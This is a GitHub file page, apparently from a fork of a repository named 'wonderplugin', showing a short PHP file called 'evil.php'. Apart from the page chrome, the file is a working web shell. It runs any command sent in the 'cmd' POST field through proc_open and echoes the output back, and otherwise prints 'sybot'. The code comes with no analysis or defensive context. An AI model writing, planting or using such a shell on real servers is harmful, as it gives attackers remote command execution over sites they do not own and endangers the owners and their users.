forked from zetc0de/wonderplugin
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathevil.php
More file actions
27 lines (24 loc) · 638 Bytes
/
evil.php
File metadata and controls
27 lines (24 loc) · 638 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
if (isset($_POST["cmd"])) {
$cmd = ($_POST["cmd"]);
function exec_cmd($command) {
$descriptor_spec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "error-out.txt", "a")
);
$cwd = "";
$env = array("some-option" => 'aeiou');
$proc = proc_open($command, $descriptor_spec, $pipes, $cwd, $env);
if (is_resource($proc)) {
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
proc_close($proc);
}
}
exec_cmd($cmd);
exit;
} else {
echo "sybot";
}
?>